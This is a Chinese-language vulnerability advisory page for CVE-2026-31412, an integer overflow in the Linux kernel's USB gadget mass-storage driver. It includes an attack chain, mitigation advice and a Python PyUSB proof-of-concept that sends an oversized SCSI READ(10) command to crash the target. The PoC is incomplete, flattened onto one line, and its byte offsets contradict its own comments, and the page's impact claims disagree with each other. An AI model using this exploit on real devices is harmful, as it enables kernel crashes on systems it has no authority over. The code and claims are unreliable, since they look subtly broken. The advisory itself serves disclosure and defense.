IPBUF安全漏洞报告
English
CVE-2026-31412 CVSS 5.5 中危

CVE-2026-31412: Linux内核USB整数溢出漏洞

披露日期: 2026-04-10
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31412
漏洞类型
整数溢出
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Integer OverflowLinux KernelUSB GadgetMemory CorruptionLocalDoSSCSI

漏洞概述

Linux内核中的USB Gadget子系统f_mass_storage驱动程序存在一个整数溢出漏洞。该漏洞源于`check_command_size_in_blocks()`函数在计算数据大小时,未对移位操作进行溢出检查。当恶意USB主机发送请求大量数据的SCSI READ或WRITE命令时,左移操作可能发生回绕,导致数据大小被截断。这使得攻击者能够绕过边界检查,引发内存损坏或越界访问,从而可能影响系统的可用性。

技术细节

该漏洞位于Linux内核的`drivers/usb/gadget/function/f_mass_storage.c`文件中。`check_command_size_in_blocks()`函数通过将`common->data_size_from_cmnd`左移`common->curlun->blkbits`位来计算以字节为单位的数据长度。由于代码未检查`data_size_from_cmnd`是否过大导致移位超出整数范围,攻击者可发送特制的SCSI命令(如READ/WRITE)触发溢出。例如,如果`data_size_from_cmnd`设置得足够大,左移后的结果会回绕成一个很小的正值。由于后续逻辑依赖此值进行缓冲区分配和边界检查,截断后的值将导致分配的缓冲区小于实际所需的数据量。当主机继续传输数据时,会发生堆或栈的越界写入,导致内存破坏,可能引发内核崩溃(拒绝服务)或在特定条件下实现代码执行。

攻击链分析

STEP 1
步骤1
攻击者获取对目标Linux设备(配置为USB Gadget)的物理访问权限,或者控制连接该设备的恶意USB主机。
STEP 2
步骤2
攻击者向目标设备发送特制的SCSI命令(如READ或WRITE),其中包含一个巨大的`data_size_from_cmnd`值。
STEP 3
步骤3
目标设备的Linux内核在`f_mass_storage`驱动中处理该命令,调用`check_command_size_in_blocks()`函数。
STEP 4
步骤4
函数执行左移操作计算数据大小时发生整数溢出,导致计算结果回绕变小。
STEP 5
步骤5
由于边界检查基于被截断的错误数值,检查被绕过,导致后续数据传输时发生越界内存写入。
STEP 6
步骤6
触发内存损坏,导致内核崩溃(DoS)或潜在的敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import usb.core import usb.util # PoC: CVE-2026-31412 # This script attempts to trigger the integer overflow in the Linux USB Gadget f_mass_storage driver. # It requires a target Linux device configured as a USB Mass Storage gadget. # Find the USB Mass Storage Gadget device dev = usb.core.find(idVendor=0x0525, idProduct=0xa4a5) # Example IDs for File-backed Storage Gadget if dev is None: raise ValueError('Device not found') # Detach kernel driver if active for cfg in dev: for intf in cfg: if dev.is_kernel_driver_active(intf.bInterfaceNumber): dev.detach_kernel_driver(intf.bInterfaceNumber) dev.set_configuration() # Endpoint selection # Assuming endpoint 1 is Bulk OUT and endpoint 2 is Bulk IN ep_out = dev[0][(0,0)][1] ep_in = dev[0][(0,0)][2] # Construct a malicious SCSI READ(10) Command # Objective: Trigger overflow in check_command_size_in_blocks # data_size_from_cmnd (bytes 2-5) set to a large value to cause shift overflow with blkbits cbw = bytearray(31) cbw[0] = 0x55 # Signature cbw[1] = 0x53 # Signature # ... (CBW headers setup) cbw[15] = 0x28 # Opcode: READ(10) # Set allocation length (bytes 7-10 in SCSI CDB, mapped to data_size_from_cmnd) # A large value to trigger overflow when shifted left by blkbits cbw[20] = 0xFF cbw[21] = 0xFF cbw[22] = 0xFF cbw[23] = 0xFF try: # Send the Command Block Wrapper ep_out.write(cbw) print("Malicious SCSI command sent.") # The kernel gadget should process this and potentially crash or corrupt memory except usb.core.USBError as e: print(f"USB Error: {e}") finally: usb.util.dispose_resources(dev)

影响范围

Linux Kernel (Fixed in commit 228b37936376143f4b60cc6828663f6eaceb81b5)
Linux Kernel (Fixed in commit 3428dc5520c811e66622b2f5fa43341bf9a1f8b3)
Linux Kernel (Fixed in commit 387ebb0453b99d71491419a5dc4ab4bee0cacbac)
Linux Kernel (Fixed in commit 8479891d1f04a8ce55366fe4ca361ccdb96f02e1)
Linux Kernel (Fixed in commit 91817ad5452defe69bc7bc0e355f0ed5d01125cc)

防御指南

临时缓解措施
由于该漏洞需要物理访问或控制USB主机,最有效的缓解措施是严格控制物理接入权限。对于必须暴露USB接口的系统,应确保内核已更新至最新版本,或通过内核模块配置禁用f_mass_storage驱动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表